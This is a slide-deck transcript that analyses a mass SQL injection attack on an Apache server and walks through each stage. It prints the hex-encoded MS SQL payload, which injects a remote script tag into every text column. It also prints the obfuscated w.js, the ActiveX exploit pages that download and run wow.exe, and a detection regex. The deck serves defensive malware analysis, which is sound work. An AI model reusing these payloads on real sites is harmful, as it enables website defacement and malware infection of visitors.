sql injection attack_analysis_py_vo
Post on 25-May-2015
607 Views
Preview:
TRANSCRIPT
Let’s play a gameA true story of a web attack analysis
Introduction
Once upon a time, there was a personal webserver running Apache with mod_security(*) module
And then, something interesting happened...
(*) An extremely useful module providing an additional level of security
@JirkaV
The logfile entry
This entry appeared in the log:
Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b(?:(?:length|count|top)\\b.{1,100}?\\bfrom|from\\b.{1,100}?\\bwhere)|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebt ..." at ARGS:;DECLARE @S CHAR(4000);SET @S. [id "950001"] [msg "SQL Injection Attack. Matched signature <cast(>"] [severity "CRITICAL"]GET /Bristol/BVC_Cambridge/?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); HTTP/1.1
@JirkaV
The logfile entry
This entry appeared in the log:
Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b(?:(?:length|count|top)\\b.{1,100}?\\bfrom|from\\b.{1,100}?\\bwhere)|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebt ..." at ARGS:;DECLARE @S CHAR(4000);SET @S. [id "950001"] [msg "SQL Injection Attack. Matched signature <cast(>"] [severity "CRITICAL"]GET /Bristol/BVC_Cambridge/?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); HTTP/1.1
@JirkaV
Peeling the first layer
Let’s focus on the important stuff:
/Bristol/BVC_Cambridge/?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); HTTP/1.1
@JirkaV
Peeling the first layer
Let’s focus on the important stuff:
DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);
@JirkaV
Peeling the first layer
Let’s focus on the important stuff:
CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72
@JirkaV
Peeling the first layer
Let’s focus on the important stuff:
CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72
@JirkaV
Peeling the first layer
Let’s focus on the important stuff:
CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E7320622077686572652061
4445434C41
Þ DÞ EÞ CÞ LÞ A
Those numbers seem to be ASCII codes in hex (base 16)
4445434C41
Let’s write a quick conversion utility ( in Python – my favourite )
@JirkaV
Peeling the first layer
Convert to readable text:
4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F52...
DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://abc.verynx.cn/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://abc.verynx.cn/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
from binascii import unhexlifydata = '4445434C415245204054207661726368...text = []for idx in range(len(data)/2): text.append(unhexlify(data[2*idx:2*idx+2]))print ''.join(text)
Database
language -
SQL
@JirkaV
Peeling the first layer
Analyze the SQL command:
DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://abc.verynx.cn/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://abc.verynx.cn/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
@JirkaV
Peeling the first layer
Analyze the SQL command:
DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://abc.verynx.cn/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://abc.verynx.cn/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
• sysobjects, syscolumns => targets MS SQL database
@JirkaV
Peeling the first layer
Analyze the SQL command:
DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://abc.verynx.cn/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://abc.verynx.cn/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
• sysobjects, syscolumns => targets MS SQL database
• xtype=‘u’ => searches for object type “user table” ...
@JirkaV
Peeling the first layer
Analyze the SQL command:
DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://abc.verynx.cn/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://abc.verynx.cn/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
• sysobjects, syscolumns => targets MS SQL database
• xtype=‘u’ => searches for object type “user table” ...
• xtype=99, 35, ... => ... containing text (use Google)
@JirkaV
Peeling the first layer
Analyze the SQL command:
DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://abc.verynx.cn/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://abc.verynx.cn/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
• sysobjects, syscolumns => targets MS SQL database
• xtype=‘u’ => searches for object type “user table” ...
• xtype=99, 35, ... => ... containing text (use Google)
• update => modifies the text in the database
@JirkaV
Peeling the first layer
Analyze the SQL command:
DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://abc.verynx.cn/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://abc.verynx.cn/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
• sysobjects, syscolumns => targets MS SQL database
• xtype=‘u’ => searches for object type “user table” ...
• xtype=99, 35, ... => ... containing text (use Google)
• update => modifies the text in the database
• injecting this HTML code, referencing a JavaScript
@JirkaV
Summary #1
The SQL injection tries to modify data in the database serving HTML pages, hoping to inject a reference to malicious JavaScript code into every page in the database
Technically, it tries to modify any text in the database
Any web browser visiting the site after the attack would fetch and execute the JavaScript code
So, what would the JavaScript do?
@JirkaV
Analyzing the JavaScript
Download the JavaScript
Downloading JavaScript alone from its URL is relatively safe. There is no command to execute it, so the browser does not interpret it and displays it as a regular text
This makes it easy to analyze Let’s download http://abc.verynx.cn/w.js
@JirkaV
Analyzing the JavaScript
w.js analysis
window.onerror=function(){return true;} if(typeof(js86h)=="undefined") { var js86h=1; function y_gVal(iz) {var endstr=document.cookie.indexOf(";",iz);if(endstr==-1) endstr=document.cookie.length;return document.cookie.substring(iz,endstr);} function y_g(name) {var arg=name+"=";var alen=arg.length;var clen=document.cookie.length;var i=0;var j;while(i<clen) {j=i+alen;if(document.cookie.substring(i,j)==arg) return y_gVal(j);i=document.cookie.indexOf(" ",i)+1;if(i==0) break;}return null;} function cc_k() {var y_e=new Date();var y_t=93312000;var yesvisitor=1000*36000;var yesctime=y_e.getTime();y_e.setTime(y_e.getTime()+y_t);var yesiz=document.cookie.indexOf("cck_lasttime");if(yesiz==-1){document.cookie="cck_lasttime="+yesctime+"; expires=" + y_e.toGMTString() + "; path=/";document.cookie="cck_count=0; expires=" + y_e.toGMTString() + "; path=/";return 0;}else{var y_c1=y_g("cck_lasttime");var y_c2=y_g("cck_count");y_c1=parseInt(y_c1);y_c2=parseInt(y_c2);y_c3=yesctime-y_c1;if(y_c3>yesvisitor){y_c2=y_c2+1;document.cookie="cck_lasttime="+yesctime+"; expires="+y_e.toGMTString()+"; path=/";document.cookie="cck_count="+y_c2+"; expires="+y_e.toGMTString()+"; path=/";}return y_c2;}} var yesdata; yesdata='&refe='+escape(document.referrer)+'&location='+escape(document.location)+'&color='+screen.colorDepth+'x&resolution='+screen.width+'x'+screen.height+'&returning='+cc_k()+'&language='+navigator.systemLanguage+'&ua='+escape(navigator.userAgent); document.write('<iframe MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no src=http://count21.51yes.com/sa.aspx?id=215052584'+yesdata+' height=0 width=0></iframe>'); document.write("<iframe width=100 height=100 src=http://mm.ll80.com/flash.htm></iframe>"); document.write("<iframe width=100 height=100 src=http://mm.ll80.com/123.htm></iframe>"); document.write ('<script>var a4452tf="51la";var a4452pu="";var a4452pf="51la";var a4452su=window.location;var a4452sf=document.referrer;var a4452of="";var a4452op="";var a4452ops=1;var a4452ot=1;var a4452d=new Date();var a4452color="";if (navigator.appName=="Netscape"){a4452color=screen.pixelDepth;} else {a4452color=screen.colorDepth;}<\/script><script>a4452tf=top.document.referrer;<\/script><script>a4452pu =window.parent.location;<\/script><script>a4452pf=window.parent.document.referrer;<\/script><script>a4452ops=document.cookie.match(new RegExp("(^| )AJSTAT_ok_pages=([^;]*)(;|$)"));a4452ops=(a4452ops==null)?1: (parseInt(unescape((a4452ops)[2]))+1);var a4452oe =new Date();a4452oe.setTime(a4452oe.getTime()+60*60*1000);document.cookie="AJSTAT_ok_pages="+a4452ops+ ";path=/;expires="+a4452oe.toGMTString();a4452ot=document.cookie.match(new RegExp("(^| )AJSTAT_ok_times=([^;]*)(;|$)"));if(a4452ot==null){a4452ot=1;}else{a4452ot=parseInt(unescape((a4452ot)[2])); a4452ot=(a4452ops==1)?(a4452ot+1):(a4452ot);}a4452oe.setTime(a4452oe.getTime()+365*24*60*60*1000);document.cookie="AJSTAT_ok_times="+a4452ot+";path=/;expires="+a4452oe.toGMTString();<\/script><script>a4452of=a4452sf;if(a4452pf!=="51la"){a4452of=a4452pf;}if(a4452tf!=="51la"){a4452of=a4452tf;}a4452op=a4452pu;try{lainframe}catch(e){a4452op=a4452su;}document.write(\'<img style="display:hidden;width:0px;height:0px" src="http://web.51.la/go.asp?we=A-Free-Service-for-Webmasters&svid=20&id=2024452&tpages=\'+a4452ops+\'&ttimes=\'+a4452ot+\'&tzone=\'+(0-a4452d.getTimezoneOffset()/60)+\'&tcolor=\'+a4452color+\'&sSize=\'+screen.width+\',\'+screen.height+\'&referrer=\'+escape(a4452of)+\'&vpage=\'+escape(a4452op)+\'" \/>\');<\/script>'); }
Not very
nice
But we don’t need it all
@JirkaV
Analyzing the JavaScript
w.js analysis – stripped down to its backbone
window.onerror=function(){return true;}
document.write("<iframe width=100 height=100 src=http://mm.ll80.com/flash.htm></iframe>"); document.write("<iframe width=100 height=100 src=http://mm.ll80.com/123.htm></iframe>");
Suppress any errors, be quiet
Load these two HTML pages
Downloading these pages using a browser
IS DANGEROUS!
@JirkaV
Analyzing the JavaScript
Downloading the dangerous code
Since downloading the pages using a browser would do exactly what the attacker wanted, we’ll use safer approach
wget will download the HTML, but will not interpret it
$ wget http://mm.ll80.com/123.htm
--2008-07-23 19:55:09-- http://mm.ll80.com/123.htmResolving mm.ll80.com... 60.173.11.119Connecting to mm.ll80.com|60.173.11.119|:80... connected.HTTP request sent, awaiting response... 200 OKLength: 431 [text/html]Saving to: `123.htm'
@JirkaV
Analyzing the JavaScript
Side note
At this point, I’ve switched to Linux simple because the necessary tools are easily available there and the risk of doing something stupid (such as clicking on some HTML file) is a bit smaller.
Also, any possibly malicious code is slightly less likely to work – one of the reasons is that the attacker(s) seem to target Microsoft world (MS SQL, remember?)
@JirkaV
Analyzing the injected HTML
Analyzing the HTML
Opening the HTML in a browser would be as bad as downloading it ... ... so we’ll use anything that does NOT understand HTML
$ more 123.htm<iframe width=100 height=0 src=Ms06-014.htm></iframe><iframe width=100 height=0 src=flash.htm></iframe><iframe width=100 height=0 src=SP2.htm></iframe><iframe width=100 height=0 src=Realplayer11.htm></iframe><iframe width=100 height=0 src=Norton.htm></iframe><iframe width=100 height=0 src=pxhack.htm></iframe><script language="javascript“ type="text/javascript"src="http://js.users.51.la/2018815.js"></script>
This looks like Microsoft Security Bulletin number
“hack” is never a good sign...
@JirkaV
Analyzing the injected HTML
Getting some more HTML
Time to download the other referenced HTML files Again, using “wget”
It turns out, that each HTML file targets one vulnerability, trying to exploit it and download an executable
Let’s take a look...
@JirkaV
Analyzing the injected HTML
Analyzing one exploit
$ more Ms06-014.htm
Svfox='http://mm.ll80.com/wow.exe';qq853327659='C:\\MicroSoft.pif';var Svfox_net=window["document"]["createElement"]("object");Svfox_net["setAttribute"]("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var Svfox2=Svfox_net["CreateObject"]("Microsoft.X"+"M"+"L"+"H"+"T"+"T"+"P","");var Svfox3=Svfox_net["CreateObject"]("Adodb.Stream","");Svfox3["type"]=1;www_svfox_net=gn(10000);var hHf$R6=Svfox_net["CreateObject"]("Scripting.FileSystemObject","");var VgDnZXHt7=hHf$R6["GetSpecialFolder"](0);www_svfox_net=hHf$R6["BuildPath"](VgDnZXHt7,www_svfox_net);var SmAcqIwGV8=Svfox_net["CreateObject"]("Shell.Application","");exp1=hHf$R6["BuildPath"](VgDnZXHt7+'\\system32','cmd.exe');SmAcqIwGV8["SHellExECuTe"](exp1,' /c echo C:\\MicroSoft.pif >C:\\MicroSoft.bat&echo del %0
>>C:\\MicroSoft.bat',"","open",0);
@JirkaV
Analyzing the injected HTML
Another exploit
$ more pxhack.htm
<a href="http://www.pxhac<script defer>var objFSO = new ActiveXObject('Scripting.FileSystemObject');var objStream = objFSO.OpenTextFile(strFile,ForWriting,true,false);objStream.WriteLine('var objArgs = \'http://mm.ll80.com/wow.exe\';');objStream.WriteLine('var objargss =\'c:\\\\gtest.exe\';');objStream.WriteLine('var sGet=new ActiveXObject(\'ADODB.Stream\');');objStream.WriteLine('try {');objStream.WriteLine('xGet = new XMLHttpRequest();');objStream.WriteLine('}');objStream.WriteLine('catch (trymicrosoft) {');objStream.WriteLine('try {');objStream.WriteLine('xGet = new ActiveXObject(\'Msxml2.XMLHTTP\');');
@JirkaV
Analyzing the injected HTML
Exploits summary
All the HTML pages served only one purpose:
To download wow.exe and execute it on victim’s computer
To achieve that, the attack tried to exploit multiple vulnerabilities in parallel to increase success probability.
The attack tried to exploit a web browser, flash, RealPlayer, ...
Why? Let’s see...
But first, another summary
@JirkaV
Summary #2
The SQL injection tried to modify HTML pages in the database ...
It is time to look at wow.exe
... so anyone visiting this site would run JavaScript from another site...
... that loaded several pages with various exploits ...
... all trying to download and execute wow.exe on our visitor’s PC
... the name rings a bell, but let’s notjump into conclusions...
@JirkaV
Analyzing the binary
Checking wow.exe
Again, downloaded using wget
$ xxd wow.exe | more
0000000: 4d5a 5000 0200 0000 0400 0f00 ffff 0000 MZP.............0000010: b800 0000 0000 0000 4000 1a00 0000 0000 ........@.......0000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................0000030: 0000 0000 0000 0000 0000 0000 0001 0000 ................0000040: ba10 000e 1fb4 09cd 21b8 014c cd21 9090 ........!..L.!..0000050: 5468 6973 2070 726f 6772 616d 206d 7573 This program mus0000060: 7420 6265 2072 756e 2075 6e64 6572 2057 t be run under W0000070: 696e 3332 0d0a 2437 0000 0000 0000 0000 in32..$7........
00001f0: 0000 0000 0000 0000 5550 5830 0000 0000 ........UPX0....0000200: 00e0 0000 0010 0000 0000 0000 0004 0000 ................0000210: 0000 0000 0000 0000 0000 0000 8000 00e0 ................0000220: 5550 5831 0000 0000 0080 0000 00f0 0000 UPX1............0000230: 0076 0000 0004 0000 0000 0000 0000 0000 .v..............0000240: 0000 0000 4000 00e0 2e72 7372 6300 0000 ....@....rsrc...0000250: 0010 0000 0070 0100 0002 0000 007a 0000 .....p.......z..
UPX is
a u
niv
ers
al pack
er
for
exe
cuta
ble
file
s
Now
we n
eed t
o u
npack
the fi
le t
o s
ee w
hat’
s in
side
@JirkaV
Analyzing the binary
Unpacking
$ upx -d wow.exe Ultimate Packer for eXecutables
Copyright (C) 1996,1997,1998,1999,2000,2001,2002,2003,2004,2005,2006UPX 2.02 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 13th 2006
File size Ratio Format Name -------------------- ------ ----------- ----------- 43110 <- 33382 77.43% win32/pe wow.exe
But the unpacked file is still not very readable. What now? Time for a long shot – what if it’s double-packed?
$ xxd wow.exe | grep UPX0005100: 0000 0000 0000 0000 5550 5830 0000 0000 ........UPX0....0005130: 5550 5831 0000 0000 0050 0000 0020 0100 UPX1.....P... ..00052f0: 5550 5821 0d09 0209 fd3d 1daa 6ca2 d7ff UPX!.....=..l...
Yes!
@JirkaV
Analyzing the binary
Unpacking wow.exe – the second time
$ upx -d wow.exe Ultimate Packer for eXecutables
Copyright (C) 1996,1997,1998,1999,2000,2001,2002,2003,2004,2005,2006UPX 2.02 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 13th 2006
File size Ratio Format Name -------------------- ------ ----------- -----------upx: wow.exe: NotPackedException: not packed by UPX
Obviously, there is a bit of magic going on But we don’t really care – we know a secret
All Windows .exe files start with “MZ”
@JirkaV
Analyzing the binary
Unpacking wow.exe – the second time (again)
$ xxd wow.exe | grep MZ0000000: 4d5a 5000 0200 0000 0400 0f00 ffff 0000 MZP.............0004f10: 4d5a 5000 0200 0000 0400 0f00 ffff 0000 MZP.............0006c30: 4402 c34d 5a89 50fc 1920 065b aef8 4ed7 D..MZ.P.. .[..N.
Hmm, it seems that we have two headers there.Time to ask Python for help again...
>>> data = open('wow.exe', 'rb').read()>>> data = data[0x4f10:]>>> open('wow_int.exe', 'wb').write(data)
@JirkaV
Analyzing the binary
Unpacking wow.exe – the second time (again)
$ ls -lh wow*-rw-r--r-- 1 jirka users 43K 2008-07-23 07:29 wow.exe-rw-r--r-- 1 jirka users 23K 2008-08-02 01:02 wow_int.exe
$ upx -d wow_int.exe Ultimate Packer for eXecutables Copyright (C) 1996,1997,1998,1999,2000,2001,2002,2003,2004,2005,2006
UPX 2.02 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 13th 2006
File size Ratio Format Name -------------------- ------ ----------- ----------- 44886 <- 22870 50.95% win32/pe wow_int.exe
Bingo! Time to look at the file contents again
@JirkaV
Analyzing the binary
Unpacking wow.exe – the second time (again)
$ strings wow_int.exe | moreTObjectu:hDSVWUQ
SOFTWARE\Blizzard Entertainment\World of Warcraftcn4.grunt.wowchina.comcn6.grunt.wowchina.comkr.logon.worldofwarcraft.comeu.logon.worldofwarcraft.comtw.logon.worldofwarcraft.com/flash.aspQQQQQ3ZYYdofflineaction=update
@JirkaV
Conclusion
What next?
The next step would be figuring out what exactly the code does with World of Warcraft...
...but games are not my cup of tea so I’ll stop here.
@JirkaV
Overall Summary
So, the attack was using vulnerable web server to attack its clients.
Each client would be attacked using range of exploits in order to download and execute double-packed file
This file would contact World of Warcraft servers
@JirkaV
top related